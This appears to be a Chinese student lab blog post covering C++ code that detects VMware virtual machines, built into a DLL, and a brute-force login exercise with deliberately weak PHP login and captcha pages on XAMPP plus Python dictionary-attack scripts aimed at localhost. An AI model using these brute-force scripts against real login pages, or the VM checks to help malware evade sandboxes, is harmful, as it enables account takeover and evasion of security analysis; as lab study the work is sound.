	DWORD ResumeHandle = NULL;
	service_status = (LPENUM_SERVICE_STATUSA)LocalAlloc(LPTR, 1024 * 64);
	//获取系统服务的简单信息    
	bool ESS = EnumServicesStatusA(SCMan, //系统服务句柄    
		SERVICE_WIN32, //服务的类型    
		SERVICE_STATE_ALL,  //服务的状态    
		(LPENUM_SERVICE_STATUSA)service_status,  //输出参数,系统服务的结构    
		1024 * 64,  //结构的大小    
		&cbBytesNeeded, //输出参数,接收返回所需的服务    
		&ServicesReturned, //输出参数,接收返回服务的数量    
		&ResumeHandle); //输入输出参数,第一次调用必须为0,返回为0代表成功    
	if (ESS == NULL)
	{
		printf("EnumServicesStatus Eorror/n");
		return -1;
	}
	for (int i = 0; i < ServicesReturned; i++)
	{
		if (strstr(service_status[i].lpDisplayName, "VMware Tools") != NULL || strstr(service_status[i].lpDisplayName, "VMware 物理磁盘助手服务") != NULL)
		{
			return TRUE;
		}
	}
	//关闭服务管理器的句柄   
	CloseServiceHandle(SCMan);
	return FALSE;
}

运行实现

一般实现

- 根据[原理介绍](#Principle)中提到的5个虚拟机检测原理,将其整合到一个CPP文件下,main函数如下所示: - ``` int main() { int n; bool result; while (1) { printf("虚拟机检测技术: "); printf("1. 基于CPU运算时间的检测 "); printf("2. 基于注册表的检测 "); printf("3. 基于当前进程信息的检测 "); printf("4. 基于特定文件的检测 "); printf("5. 基于注册服务的检测 "); printf("0. 退出 "); printf("请选择:"); scanf("%d", &n); flushall(); printf("检测结果:"); switch (n) { case 0: return 0; case 1: result = CheckVMware1(); break; case 2: result = CheckVMware2(); break; case 3: result = CheckVMware3(); break; case 4: result = CheckVMware4(); break; case 5: result = CheckVMware5(); break; default:printf("输入错误,请重新输入! "); Sleep(2000); system("cls"); continue; } if (result) printf("yes! "); else printf("no! "); printf("按任意键返回主菜单 "); getch(); flushall(); system("cls"); } return 0; } ```

运行效果:

  • 主机效果图(win7):

  • 虚拟机效果图(win7):

DLL文件实现

  • 主要编写2个文件:checkvm.dlltestvm.exe,下面分2部分详细介绍。

checkvm.dll

  • 该文件主要作为可以检测虚拟机的关键代码,包含4个主要文件:checkvm.hcheckvm.cppdllmain.cppSource.def
  • checkvm.h:checkvm.dll的头文件,给出dll包含的函数方法
bool chekvm();
  • checkvm.cpp:该部分代码主体功能部分类与一般实现方法一致,只是不需要Main函数,提供接口即可,不同部分如下:
bool checkvm()
{
	int num = 0;
	if (CheckVMware1())
		num++;
	if (CheckVMware2())
		num++;
	if (CheckVMware3())
		num++;
	if (CheckVMware4())
		num++;
	if (CheckVMware5())
		num++;
	if (num >= 4)
	{
		printf("This is a virtual machine!
");
		return FALSE;
	}
	else
	{
		printf("This is not a virtual machine!
");
		return TRUE;
	}
}
  • dllmain.cpp:定义 DLL 应用程序的入口点(固定写法)
BOOL APIENTRY DllMain(HMODULE hModule, DWORD  ul_reason_for_call, LPVOID lpReserved)
{
	switch (ul_reason_for_call)
	{
	case DLL_PROCESS_ATTACH:
	case DLL_THREAD_ATTACH:
	case DLL_THREAD_DETACH:
	case DLL_PROCESS_DETACH:
	break;
	}
	return TRUE;
}
  • Source.def:给出可调用的函数方法
LIBRARY "checkvm"
EXPORTS
checkvm @1

testvm.exe

  • 该部分代码为测试checkvm.dll所编写,调用checkvm.dll中的checkvm()函数即可,详细代码如下:
int main()
{
	HMODULE hmod = LoadLibrary("checkvm.dll");		//用于加载dll
	typedef int(*LoadProc)();
	LoadProc Load_proc = (LoadProc)GetProcAddress(hmod, "checkvm");		//GetProcAddress()用于获得函数地址
	int iRet = Load_proc();
	getchar();
	return 0;
}

运行效果(将testvm.exe与checkvm.dll放在同一个文件夹下)

  • 主机效果图(win7):

  • 虚拟机效果图(win7):

总结

  • 选择这个项目的原因是自己对恶意软件的检测很感兴趣,恶意软件与检测就是一种博弈的关系,对于检测者来说最安全的方式就是采用虚拟机检测,而一些恶意软件的制作者显然也不傻,则会在其病毒代码执行前加载一段虚拟机检测代码,如果检测为虚拟机环境,则不会暴露其行为特征,无法对其运行行为进行分析,当检测到脱离了虚拟机环境,就可以大展拳脚实现其目的了。
  • 通过这次的实践,初步体会到了一些恶意软件在绕过虚拟机检测所采取的策略,通过代码编写,更加熟悉了虚拟机检测的机制,最后运用到了本学期在另一门课程中学到的DLL开发,将关键代码写入一个dll文件中,在今后需要检测的过程中,只需要调用checkvm.dll即可。
  • 总之,这次的实践不仅丰富了我的理论知识,而且也增加了我动手操作的能力,特别是将课上所学运用到实际项目中的时候,形成了一个可在现实中使用的小工具,特别有成就感。

暴力破解

XAMPP的安装和使用

一、什么是XAMPP?

XAMPP是最流行的PHP开发环境。 XAMPP是完全免费且易于安装的Apache发行版,其中包含Apache、MariaDB、PHP和Perl。

类似XAMPP的服务器套件还有很多,我用过的还有UPUPW,它们都极大的简化了开发环境的配置。

十六款免费的服务器套件的介绍介绍了主流的免费服务器开发套件。

二、安装

xampp下载地址:http://www.xampp.cc/

安装没什么好说的,“下一步”直到安装完成。

三.使用

双击xampp安装目录下的xampp-control.exe,打开xampp控制面板。
点击Apache的“Start”按钮,启动Apache服务。 Apache服务的端口默认是80和443,如果电脑上装有虚拟机,443端口会被虚拟机占用,导致Apache服务启动失败。这种情况的修改方法如下:
① 打开任务管理器,找到找到vmware-hostd.exe进程,结束它。
② 打开VMware虚拟机,选择菜单“编辑”——>"首选项",如下图所示。

至于如何查看哪个程序占用了哪个端口,可以点xampp控制面板右侧的“Netstat”按钮,也可以在命令提示符窗口输入netstat -ano指令来查看这几个端口是否被占用。若占用,记住PID,然后在任务管理器里对于相应的PID,结束即可。如果任务管理器的列表中没有PID这一列,点击任务管理器的菜单“查看”——>“选择列”,勾选PID即可。
比较通用的修改方法如下: (这种方法直接改xampp的配置文件。)
如果80端口被占用
将xamppapacheconf这个目录下的httpd.conf 文件中 所有80换成其他值。
将xamppapacheconfextra这个目录下的 httpd-vhosts.conf 所有80换成其他值。
如果是443端口被占用
将XAMPPapacheconfextra这个目录下的httpd-ssl.conf 所有443换成其他值。
点击MySQL的“Start”按钮,启动MySQL服务。 (如果电脑上之前安装过MySQL,xampp的MySQL服务启动失败) 正确的修改方法是: ①在命令提示符窗口输入regedit指令,打开注册表编辑器。
②找到HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesMySQL,将ImagePath的数据修改成xampp中mysq的位置,再次点击MySQL的 “Start”按钮,mysql服务正常启动。
如果MySQL的默认端口3306被占用,修改方法如下:
①修改占用该端口的外部程序,修改方法前面说过。 或者
②点击MySQL的 “Config”按钮,选择“my.ini”,打开该配置文件,并将其中的3306改成其他值。

测试
在浏览器输入http://localhost/dashboard/,出现如下页面,测试成功。

** 如果发现网页找不到,那就把之前改的端口(比如我改的是8001)放在localhost后面,即:localhost:8001**

除此之外我们还要搭建PHPSTORM环境!!! 根据这个老哥的博客来完成环境的搭建

[安装XAMPP](http://www.cnblogs.com/Jason-Jan/p/7906773.html)
[安装并破解PhpStorm](http://www.cnblogs.com/Jason-Jan/p/7918449.html)


实践(我们分两个难度)

  • 暴力破解,顾名思义,就是不断使用不同的账号和密码去猜测,猜测到成功为止,以达到目的猜测出真实密码。举个例子说,web应用中常常存在一些登陆页面,只要web应用中对尝试登陆次数没有限制,或者没有足够强大的人机识别(验证码)的话,就可以进行暴力破解,本文主要涉及web应用上登陆的暴力破解。如下图:

暴力破解测试页面

源码的部分是一个表单post给一个php页面,形象一点也就是说在html页面填好账号密码,然后数据就会传给php来处理。

Html部分如下: (原参考博客该部分有误,已作出修改)

<!DOCTYPEhtml>
<html>

<head>
    <meta charset="utf-8">
    <title>暴力破解测试页面</title>
</head>

<body>

<div align="center">
    <h1>暴力破解测试页面-low</h1></div>

<form action="Loginl.php" method="post" name="form">

    <fieldset>

        <legend><b>请输入信息</b></legend>

        <p>用户名:<input type="text" name="name" id="name"></p>

        <p>密码:<input type="password" name="password" id="password"></p>

        <p><input type="submit" value="登录"></p>
    </fieldset>
</form>

</body>

</html>

php部分如下

<!DOCTYPEhtml>
<html><head><meta charset="utf-8">

<?php
/**
 * Created by PhpStorm.
 * User: mac
 * Date: 2018/7/5
 * Time: 下午3:20
 */

session_start();
$pwd=$_POST["password"];
$name=$_POST["name"];

if($name=="")
{die("用户名不能为空");}
if($pwd=="")
{die("密码不能为空");}
if($name=="admin"&&$pwd=="1234")
{echo"登陆成功!!!";setcookie("user","$name",time()+3600);}
else{echo"登陆失败";}
?>

</head>
</html>
  • 遇到的问题及解决
    点击登录按钮后php页面502错误
    解决:这个时候我们把xampp中的php.exe链接进去就ok了
    点击登录按钮后发现post不了psd和username
    解决:试了半天不知道为什么,于是我把post换成了get。发现可行,但是post对于web来说一般更安全,所以不推荐使用get,容易被漏洞利用。
    最后我下了最新版本的PHPstorm就ok了。。。

只需要使用requests模块来进行请求访问,使用bs4来判断登陆是否成功,附上代码:

无验证码暴力破解的python脚本

#!/usr/bin/python
# -*- coding: UTF-8 -*-


import requests
from bs4 import BeautifulSoup


def crack(username='admin', password='1234566'):  # 定义一个暴力破解的函数
    print('正在尝试账号:%s,密码:%s' % (username, password))  # 回显输出
    url = 'http://localhost:63342/untitled2/Loginl.html'  # 定义需要暴破请求的地址
    datas = {'name': 'admin', 'password': password}  # 定义暴力破解的账号和密码
    header = {
        'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.181 Safari/537.36',
        'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8',
        'Accept-Language': 'zh-CN,zh;q=0.9',
        'Connection': 'keep-alive',
        'Upgrade-Insecure-Requests': '1'
    }  # 定义访问数据包的请求头,因为如果有防护网站会限制ua
    req = requests.post(url, datas, headers=header, )  # 发送请求
    # print req.content
    html = BeautifulSoup(req.content, "lxml", from_encoding="utf-8")  # 定义响应内容为html
    res = (''.join(html.stripped_strings).encode("unicode_escape").decode("string_escape")).decode(
        'unicode-escape').encode('utf-8')  # 获取响应信息
    print
    res
    if '登陆成功' in res:  # 判断是否登陆成功
        exit("密码为%s" % password)


if __name__ == '__main__':
    for psw in open('C:/Users/apple/Documents/WeChat Files/fcg12580/Files/dictionary.txt', 'r').read().splitlines():  # 暴力破解的字典
        crack(password=psw)
    pass
  • 这一部分太简单了,我们很容易就实现破解。 所以不多描述。

  • 我们通过PGPstrom和PGPcharm实现了上一部分,然后在第二个部分的时候,我们发现PHP页面的url是会随时根据验证码的变化而变化的,那为了解决这个不稳定的问题,当然我们也可以选择在本机系统下直接运行,这个时候就需要用到xampp了。


暴力破解+验证码

具体实现步骤如下:

  1. 我们在xampp的安装目录下,新建一个文件夹把我们实验所需的文件放进去:

    图MyProject

  2. 确保Xampp的apache打开。

  3. 通过localhost:8001/LoginMid.html访问我们编写好的页面

    大家可以看到在此页面中我们加入了验证码。 稍后贴出相关代码

  4. 我们输入相关信息,验证一下代码。发现通过xampp直接运行,我们的url是可以直接使用的

  5. 配置好了页面,我们要开始攻击了。编写好python脚本,同时注意:

  6. 为了能在windows下直接使用python命令,我们需要在系统的环境变量里添加python路径!把它变成我们的一部分!

  7. 脚本编好了,软件可以帮我们下载需要的插件,但是在windows环境下,我们需要在cmd中手动下载,首先我们进入到/Python27/Scripts/中,在这个路径下我们可以使用其中的pip进行我们的下载:

    PS:如果自带的pip的版本过低需要更新,跟着命令行的提示一步步走就行了

  8. 在windows下使用python与在软件内相同,由于我们的代码使用了request模块、bs4以及lxml,这都是我们现在需要下载的。
    pip install requests

    pip install bs4

    pip install (你所下载的lxml的保存路径)/lxml-4.2.3-cp27-cp27m-win_amd64.whlPS:lxml自己在网上下载,要对应python版本,我下的是2.7的)

9.保证我们代码里的信息与网页信息一样:

10.接下来我们直接执行:python attack_3.py


该过程代码

LoginMid.html

<!DOCTYPEhtml><html><head><meta charset="utf-8">

    <title>暴力破解测试页面</title>

</head>

<body>

<div align="center"><h1>暴力破解测试页面-难度medium</h1></div>

<form action="LoginMid.php" method="post"onsubmit="return judge();" name="form">

    <fieldset>

        <legend><b>请输入信息</b></legend>

        <p>用户名:<input type="text" name="name" id="name"></p>

        <p>密码:<input type="password" name="password"id="password"></p>

        <p>验证码:<input type="text" name="yzm" id="yzm">

            <img src="yzm.php" onclick="this.src= 'yzm.php?nocache='+Math.random()" style="color:white"></p>

        <p><input type="submit" value="登录"></p>
    </fieldset>
</form>
</body>
</html>

LoginMid.php


<!DOCTYPEhtml>

<html>

<head>

<metacharset="utf-8">

<?php
/**
 * Created by PhpStorm.
 * User: mac
 * Date: 2018/7/5
 * Time: 下午4:03
 */
session_start();



$pwd=@$_POST["password"];

$name=@$_POST["name"];

$yzm=@$_POST["yzm"];



if($name=="")

{die("user can't be NULL");}

if($pwd=="")

{die("password can't be NULL");}

if($yzm=="")

{die("yzm can't be NULL");}

if($yzm!=$_SESSION['VCODE']){

die("<script>alert('yzm error!!');location='".$_SERVER['HTTP_REFERER']."'</script>");}

if($name=="admin"&&$pwd=="1114")

{echo"success!!!";setcookie("user","$name",time()+3600);}

else

{echo"failed";

}

?>

</head></html>

yzm.php

<?php
/**
 * Created by PhpStorm.
 * User: mac
 * Date: 2018/7/5
 * Time: 下午4:04
 */
session_start();

Header("Content-type:image/PNG"); //提示用户生成PNG的图片文件

$im= imagecreate(60,25);   //建一个基于调色板的图像

$back= imagecolorallocate($im, 245, 245, 245); //分配颜色

imagefill($im,0,0,$back); //图像填充

$vcodes= "";



for($i=0;$i<4;$i++){

    $font=imagecolorallocate($im,0,0,0);  /*rand()随机函数*/

    $authnum=rand(0,9);//验证码的随机数

    $vcodes.=$authnum;

    imagestring($im,5,9+$i*10,5,$authnum,$font);

}

$_SESSION['VCODE']=$vcodes;



imagepng($im);  //把图片输出到浏览器文件

imagedestroy($im);  //释放图片资源

?>

Attack_3.py

#!/usr/bin/python
# -*- coding: UTF-8 -*-


import requests
from bs4 import BeautifulSoup

RCode = '6989'


def crack(username='admin', password='1234566'):
    print'trying user:%s,pwd:%s,yzm:%s' % (username, password, RCode)
    # cookie={'security': 'low' , 'PHPSESSID' :'rkp71r263ucl7gg2i7t878ieli'}
    url = 'http://localhost:8001/MyProjects/LoginMid.php'
    datas = {'name': 'admin', 'password': password, 'yzm': RCode}
    header = {
        'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36',
        'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
        'Accept-Language': 'zh-CN,zh;q=0.8',
        'Connection': 'keep-alive',
        'Cookie': 'PHPSESSID=rkp71r263ucl7gg2i7t878ieli',  # 不带cookie验证码会无法使用
        'Referer': 'http://localhost:8001/MyProjects/LoginMid.html',
        'Upgrade-Insecure-Requests': '1'
    }
    req = requests.post(url, datas, headers=header, )
    # print req.content
    html = BeautifulSoup(req.content, "lxml", from_encoding="utf-8")
    res = (''.join(html.stripped_strings).encode("unicode_escape").decode("string_escape")).decode(
        'unicode-escape').encode('utf-8')
    print res
    if 'success!!!' in res:
        exit("pwd is %s" % password)


if __name__ == '__main__':
    # crack()
    for psw in open('C:/Users/apple/Documents/WeChat Files/fcg12580/Files/dictionary.txt', 'r').read().splitlines():
        crack(password=psw)
pass

总结

这其中要用到字典,我用的字典是自己生成的。路径在python脚本中会用到哦!!!
网上的都要积分,穷苦人民还得自己动手。
这次实践大大的增强了我的动手能力,不断地百度,不断地报错,不断地调试,终于还是实现啦!
同时我发现:

  1. 要注意各软件或者插件的版本!使用时一定要对应!
  2. phpstorm和phpcharm都是需要.exe文件支持的,使用时记得导入路径!
  3. 代码调试的时间远比你想象的要长!
  4. 需要一个好的partner带来正面影响!
  5. 学习一定要以快乐的心情去学习!
原文地址:https://www.cnblogs.com/fcgfcgfcg/p/9272915.html